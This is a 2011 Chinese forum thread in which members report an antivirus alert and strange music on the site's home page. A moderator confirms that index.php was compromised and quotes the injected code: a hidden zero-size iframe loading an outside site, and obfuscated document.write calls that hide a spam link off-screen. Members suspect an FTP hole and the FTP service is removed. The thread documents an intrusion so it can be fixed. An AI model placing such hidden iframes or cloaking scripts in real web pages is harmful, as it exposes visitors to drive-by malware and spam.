木马？？？

hsf1357

FM留言：问题已经处理

怎么搞的？我进首页就报警，有木马？
Settings\Temp\Temporary Internet Files\Content.IE5\298SF81C\bbs_deeptimes_org[1].htm”中检测到病毒或
恶意程序“HEUR/HTML.Malware [heuristic]”。
执行的操作:将文件移到隔离区

baiseniao

目前我这边ESS没报警，不过首页有了奇怪的背景音乐。
弗里曼弗里曼弗里曼弗里曼速速显灵啊。。。。。

FreemanGL

的确被挂马了。
挂马内容为

1. <iframe src=http://www.52sswl.com width=0 height=0></iframe>
   
2. 
   
3. <script>document.write ('<d' + 'iv st' + 'yle' + '="po' + 'si' + 'tio' + 'n:a' + 'bso' + 'lu' + 'te;l' + 'ef' + 't:' + '-' + '10' + '00' + '0' + 'p' + 'x;' + '"' + '>');</script>
   
4. <a href="/admin/newss.php?id=1846">25931</a>
   
5. <script>document.write ('<' + '/d' + 'i' + 'v>');</script>

复制代码

FTP密码又被改乐，要找猪大了。

黑暗枪骑兵

全论坛就只有猪大能登陆后台？

FreemanGL

全论坛就只有猪大能登陆后台？
黑暗枪骑兵 发表于 2011-2-8 23:33

不是，目前只有猪大能操作服务器。

被挂马的文件仅有index.php严重怀疑是服务器操作人员。或者是服务器漏洞，FTP漏洞等等。

还有论坛经常性出现

1. Discuz! info: Can not connect to MySQL server
   
2. 
   
3. Time: 2011-2-8 9:59pm
   
4. Script: /viewthread.php
   
5. Error: Can't connect to MySQL server on 'localhost' (10060)
   
6. Errno.: 2003

复制代码

解决方案参考着2个帖子，也需要服务器操作权限。
http://www.liehuo.net/a/view/8991.html
http://blog.9420.org/article.asp?id=2

猪样年华

ftp漏洞最可疑~~上次被黑就是~

猪样年华

恩，看来免费的ftp就是不给力亚~

猪样年华

叫人处理乐，暂时把ftp干脆的卸掉~

baiseniao

FM猪大V5，果然听不见歌了~